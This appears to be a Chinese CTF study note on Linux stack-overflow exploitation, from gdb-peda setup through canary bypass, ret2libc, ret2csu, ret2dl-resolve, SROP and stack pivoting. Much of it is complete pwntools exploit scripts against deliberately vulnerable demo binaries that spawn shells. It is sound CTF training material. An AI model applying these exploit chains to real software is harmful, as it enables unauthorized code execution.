pwn-入门1-基础与栈

基本环境与工具

测试与脚本均在linux下比较好。靶机使用docker
可采用ubuntu16或者kali

需要的环境:
linux的基本开发环境。

1
2
3
4
5
6
7
8
9
10
//update是更新包信息,upgrade是更新软件。
sudo apt-get update
//工具
sudo apt-get install gcc gdb git
//32位libc
sudo apt-get install libc6-dev-i386
//python
apt-get install python2.7 python-pip python-dev libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools

gdb-peda:增强gdb功能。

1
2
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

checksec:检测可执行程序开启的保护。peda插件中含有,单独脚本也行。

apt依赖错误就换下源,阿里的源好用些,ubuntu的太旧了

WSL下还没折腾,暂时先用纯linux环境方便减少问题,开发就用vim,在linux下就不用图形ide了。

前置必知

python2.7

见博客-python速记

pwntool

https://pwntoolsdocinzh-cn.readthedocs.io/en/master/index.html#
py库,pwn的工具

LibcSearcher

https://github.com/lieanu/LibcSearcher
py库,用于根据libc中某函数的地址确定libc版本。linux下即使用ASLR保护,但是最低的12位不会变,因此可以确定。

gdb-peda

概观检测

gdb 文件名:直接加载

peda检查命令:
aslr:查看ASLR开关-aslr针对栈、堆、so的基地址随机化
checksec:检查二进制文件安全选项

1
2
3
4
5
CANARY : 栈防护,在栈中传入值返回时检测
FORTIFY : 对数组大小的判断替换strcpy, memcpy, memset等函数
NX : 数据页不可执行
PIE : 地址随机化-针对可执行文件&so
RELRO : 设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,防止got修改 Partial表示可以修改

vmmap查看内存映射信息。

调试

start :开始调试并停在入口
c:继续运行
r:重新开始运行

n:步过
s:步入
fini:运行至函数结束

断点:
b *0x地址:不写为当前
b 符号
info b:断点信息
delete num:删除断点

内存断点:
watch 表达式:写中断
rwarch 表达式:读中断
awatch 表达式:读或写
表达式表示的内容就是监视内容,如*(int *)0x08044530 为监控该地址的int类型数据

查看数据

stack n:查看栈数据
bt:查看栈帧
p $eax:查看寄存器-$表示取寄存器的值
vmmap:内存布局

x /数量x(进制)g(输出格式) 地址

ROPgadget

帮助寻找程序片段的工具,方便rop的利用。
–binary指定目标名。
–only搜索指定的汇编指令组合。
如:

1
2
--only 'pop|ret' 执行pop ,ret的地址
--only 'int' 调用系统调用的地址

–string 搜索指定字串位置

Stack溢出

demo1-alloff

1
2
3
4
5
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

编译:

1
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example

结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
gdb:
0000| 0xffffcfb0 --> 0xffffcfc4 ("123456")
0004| 0xffffcfb4 --> 0xf7fb7000 --> 0x1afdb0
0008| 0xffffcfb8 --> 0xf7fb5244 --> 0xf7e1f020 (call 0xf7f24289)
0012| 0xffffcfbc --> 0xf7e1f0ec (test eax,eax)
0016| 0xffffcfc0 --> 0x1
0020| 0xffffcfc4 ("123456")
0024| 0xffffcfc8 --> 0xf7003635
0028| 0xffffcfcc --> 0x80484eb (<__libc_csu_init+75>: add edi,0x1)
0032| 0xffffcfd0 --> 0x1
0036| 0xffffcfd4 --> 0xffffd094 --> 0xffffd265 ("/home/yao/destory/pwn/demo/stack1/stack_demo1")
0040| 0xffffcfd8 --> 0xffffcfe8 --> 0x0
0044| 0xffffcfdc --> 0x8048491 (<main+22>: mov eax,0x0)
0048| 0xffffcfe0 --> 0xf7fb73dc --> 0xf7fb81e0 --> 0x0
0052| 0xffffcfe4 --> 0xffffd000 --> 0x1
0056| 0xffffcfe8 --> 0x0

一直跟着ebp链就行。ebp指向的是存父调用的ebp栈地址。因此跟着ebp链可以确定调用顺序。esp始终是栈的极限位置,ebp始终过程的栈区域开始。ebp指向的位置存的是上次的ebp值。再往上一个地址长度的地址为上次的esp值,其地址上内容为返回地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
#coding=utf8
from pwn import *
# 构造与程序交互的对象
sh = process('./stack_demo1')
success_addr = 0x0804843B
# 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
# 向程序发送字符串
sh.sendline(payload)
# 将代码交互转换为手工交互-用于操控shell
sh.interactive()

栈溢出基本步骤
栈溢出危险函数:
gets scanf vscanf sprintf strcpy strcat bcopy
填充长度-直接使用ida分析,跟准ebp和esp即可。
主要目的是影响执行流程

demo-canary

canary保护在函数一开始向栈中加入数作为检测,返回时检测该数是否被修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-fstack-protector gcc开启
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low | |
Address

该值在linux下使用TLS(线程局部存储)中的随机数。

绕过:
方法一
泄露栈中的Canary
需要合适的输出函数,溢出俩次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#从二进制文件推断目标体系结构
context.binary = 'ex2'
io = process('./ex2')
#获取符号地址,并显示应用保护信息
get_shell = ELF("./ex2").sym["getshell"]
#接受直到
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
# 原程序中读取函数用的read,所以会读一个换行覆盖了用于保护canary的0x00,减去即可,因为小端结尾00在前
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
#接受尽量多的数据
io.recv()
io.interactive()

注意canary的值是小端存储的,还有io.recv()时会读取上次溢出时输出返回读剩下的数据,因为抽象出的输出输入都是流。

方法二:
one-by-one 爆破 Canary
每个线程的canary都不一样,但是fork后内存空间相同,可以使用爆破得到内存数据。

方法三:
劫持stack_chk_fail,直接修改got即可

方法四:
覆盖 TLS 中储存的 Canary 值

基本ROP

主要为了针对NX保护,数据页不可执行,防止直接向栈与堆中注入代码。
核心思想利用已有片段控制执行流程。

demo1-ret2text

https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text
直接返回到已有代码段利用。

1
2
3
4
5
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

调试到gets,$ebp-$eax=6c,所以返回地址在gets缓存的上方0x70处。
目标直接定位到执行system(“/bin/sh”)的语句
exp

1
2
3
4
5
6
from pwn import *
sh=process('./ret2text')
target=0x0804863A
sh.sendline('A'*0x70+p32(target))
sh.interactive()

demo2-ret2shellcode

https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
注入代码到内存中,之后返回利用
elf文件中标明不可执行的段实际加载后可能是能写的,在gdb中使用vmmap查看即可。
栈中可能受破坏,执行bss中的注入代码。
exp

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process('./ret2shellcode')
# asm使用汇编代码生成二进制,shellcraft生成获取shell的汇编代码(使用的execve)
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
# ljust将原字串填充至指定长度
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

demo3-ret2syscall

https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop
利用代码片段一点一点完成系统调用。
首先利用ROPgadget获得pop,ret这样可以利用栈修改寄存器的片段,与字串地址,之后全部放到栈中通过ret依次调用。
exp3:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
//flat将字串、数字结合并转为字节模式,栈从下往上回
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

demo4-ret2libc

控制流程执行libc中的函数,通常是返回至某个函数的plt处或者具体位置。
三个例子
第一个-已有system与sh字串
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
直接在ida中找到system的plt,构建栈状态返回至system

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
//正常状态下执行到system的plt是call之后的了。因此栈状态应该为下-上-返回地址-参数。
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

第二个-有system无sh字串
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2
需要自己用gets读到bss中,因为栈的地址不确定所以栈中不好放数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./ret2libc2')
//使用模块中的plt执行其他模块函数-因为有延迟绑定不能用got,而且got上存的是地址数据。plt是直接可执行的。
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

第二个-无system无sh字串
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3
这是由于目标程序没有使用libc的system,需要自己定位位置
首先泄露libc中某个函数的地址,由于延迟绑定,需要泄露已经执行过的函数。因为got表中存的是引用其他模块符号的地址,而got表是属于此模块的,因此可以通过固定的地址找到。之后根据泄露的地址确定libc版本与基地址,找到system与sh地址,返回到main再次执行程序不重启,执行system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()

注意这集个libc程序ida都没有分析准确变量的偏移,因为变量是用esp计算的。且esp前后与FFF0h变化不同(为了访问速度对齐用的),因此第一次变量距离ebp为108,第二次为100。
LibcSearcher会提示多个库可选。

中级ROP

利用些巧妙的Gadgets

ret2csu

一个x64程序只开NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
.text:0000000000400573 mov edx, 0Dh ; n
.text:0000000000400578 mov esi, offset aHelloWorld ; "Hello, World\n"
.text:000000000040057D mov edi, 1 ; fd
.text:0000000000400582 call _write

利用的是编译器添加的libc初始化函数libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:00000000004005C0 ; void _libc_csu_init(void)
....
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

0x000000000040061A 可以用来控制rbx,rbp,r12,r13,r14,r15
0x0000000000400600 到 0x0000000000400609,通过r13、r14、r15d控制rdx、rsi、edi,控制r12 与 rbx可调用某地址的函数。
0x000000000040060D 控制 rbx+1 = rbp即可不跳转,继续执行返回。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
# bx=0可跳转到r12、rbp=1控制向下执行,r12为存有要跳转函数的地址,之后为三个将被转移给rdx、rsi、edi的参数。这里是为了执行write,最后为最后跳转地址。
csu(0, 1, write_got, 8, write_got, 1, main_addr)
# 获取泄露地址,计算execve的地址--这里不是用系统调用而是是用库的壳函数
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
# 写execve的地址与字串
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
# 调用execve,并传入字串
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

因此可以利用一些类似的gcc编译进去的函数:

1
2
3
4
5
6
7
8
9
10
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

PC将地址处的数据给cpu,cpu解码成功就可以执行,因此可以将一些地址偏移从而执行想要的指令。—很好的思路!
例如刚才的0x000000000040061A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
gef➤ x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret

ret2reg

当数据地址可执行时。
溢出返回时某寄存器指向溢出地址,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址,从而执行shellcode

BROP

高级ROP

ret2_dl_runtime_resolve

由于程序没有使用libc的sys,且无法定位libc的位置。
got的内容:

1
2
3
4
5
前三项
.dynamic 段的地址
本模块的 ID
_dl_runtime_resolve()的地址
外部地址

plt的实现:

1
2
3
4
5
6
7
8
PLT0:
push *(GOT + 4) //压入模块id
jmp *(GOT + 8) //跳转到 _dl_runtime_resolve()函数
...
bar@plt:
jmp *(bar@GOT) //仍然首先进行GOT跳转,尝试是否是第一次链接
push n //压入需要地址绑定的符号在重定位表中的下标
jmp PLT0 //跳转到 PLT0

_dl_runtime_resolve解析过程-根据该模块的重定位表对应项,找到符号表对应项,从而找到符号名字与位置。在已加载的符号表中搜索,进行重定位。
要求不会检查符号是否越界,解析依赖于给定的字串。

正常攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}

无Canary保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
## 转移栈到bss,并向栈底继续写数据
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (
fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('system\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

使用roputil:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
# 自动寻找片段生成rop链。调用read写数据到bss_base
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve() call动态重定位的函数,分别是重定位表、参数
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
向可控的bss前100字节写入参数和仿造的dl_resolve重定位表
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

SROP

信号是在软件层次上对中断机制的一种模拟。
执行流程:
内核发起signal、signal数据push到栈中、sigreturn syscall的位置 push 进栈、跳转至signal handler、转至 sigreturn code、stack 即栈上的内容全部 pop 回register ,流程又重新回到 user code
中间经过内核俩次,分别再执行handler前后。sigreturn为系统调用,作用是根据signal数据还原、返回其中指明的地址。

攻击原理:
伪造sigcontext 结构,push进stack中
栈溢出设置ret address在sigreturn syscall的gadget
将signal fram中的rip(eip)设置在syscall(int 0x80)
当sigreturn返回时,就可以执行syscall

这样做的好处是sigreturn利用栈中的数据将寄存器都设置成可控制的了,同时由于sp也可操控因此ip可以指向syscall;ret;之后在新栈中数据预先仍是sigcontext即可再执行一次上述行为。形成一条执行任意系统调用的链,并且参数全部可控。

可直接使用pwntool工具:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))
## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

花式栈溢出

stack pivoting

劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。
需求原因:

  1. 可以控制的栈溢出字节较少,需要构造长的rop
  2. 开启了pie,栈地址未知,需要劫持到已知区域
  3. 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

要求:
可以控制程序执行流、可以控制sp指针。

可控制内容的内存一般为bss与heap

frame faking

构造一个虚假的栈帧来控制程序的执行流。
构造溢出如下
buffer padding|fake ebp|leave ret addr|
构造假栈:

1
2
3
4
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

第一次程序的leave ret,会将ebp控制,之后再次执行leave ret控制esp,同时新的栈顶控制ebp

Stack smash

stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串
因此可以利用开启canary的程序打印些内容。

partial overwrite

在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
可以暴力。

栈溢出利用总结

CANARY : 栈防护,在栈中传入值返回时检测
需要多次泄露
NX : 数据页不可执行
ROP
PIE : 地址随机化-针对可执行文件&so
爆破&rop泄露地址

后续做题进一步细分情况

参考

https://ctf-wiki.github.io/ctf-wiki